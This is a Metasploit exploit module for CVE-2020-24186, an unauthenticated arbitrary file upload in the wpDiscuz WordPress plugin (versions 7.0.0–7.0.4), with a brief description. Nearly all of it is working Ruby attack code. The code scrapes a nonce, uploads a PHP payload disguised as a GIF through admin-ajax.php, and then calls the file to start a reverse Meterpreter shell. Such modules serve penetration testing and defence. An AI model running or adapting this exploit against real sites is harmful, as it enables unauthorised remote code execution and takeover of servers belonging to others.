WordPress wpDiscuz 7.0.4 Shell Upload

This Metasploit module exploits an arbitrary file upload in the WordPress wpDiscuz plugin versions from 7.0.0 through 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable server.


MD5 | fdf8135289f12d026401f86e91ab3f6d

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
to upload arbitrary files, including PHP files, and achieve remote code execution on a
vulnerable site’s server.
},
'Author' =>
[
'Chloe Chamberland', # Vulnerability Discovery, initial msf module
'Hoa Nguyen - SunCSR' # Metasploit Module enhancement
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-24186'],
['WPVDB', '10333'],
['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wpDiscuz < 7.0.5', {}]],
'DisclosureDate' => '2020-02-21',
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options [
OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]),
]
end

def check
check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')
end

def blogpath
datastore['BLOGPATH']
end

def find_wmusecurity_id
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) })
fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res

wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures
unless wmusecurity_id
fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id')
end

wmusecurity_id
end

def exploit
wmusecurity_id = find_wmusecurity_id[0]
php_page_name = "#{rand_text_alpha(5..12)}.php"
data = Rex::MIME::Message.new
data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
data.add_part('1', nil, nil, 'form-data; name="postId"')
data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
post_data = data.to_s

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)

fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res
unless res.code == 200 && res.body =~ /#{php_page_name}/
fail_with(Failure::UnexpectedReply, 'Unable to deploy payload')
end

json_data = JSON.parse(res.body)
upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url')
fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url
wp_shell_upload = upload_url.split('/').last
fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php')
print_good("Payload uploaded as #{php_page_name}")
register_file_for_cleanup(php_page_name)

print_status('Calling payload...')
time = Time.new
year = time.year.to_s
month = format('%02d', time.month)
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) }
)
end
end

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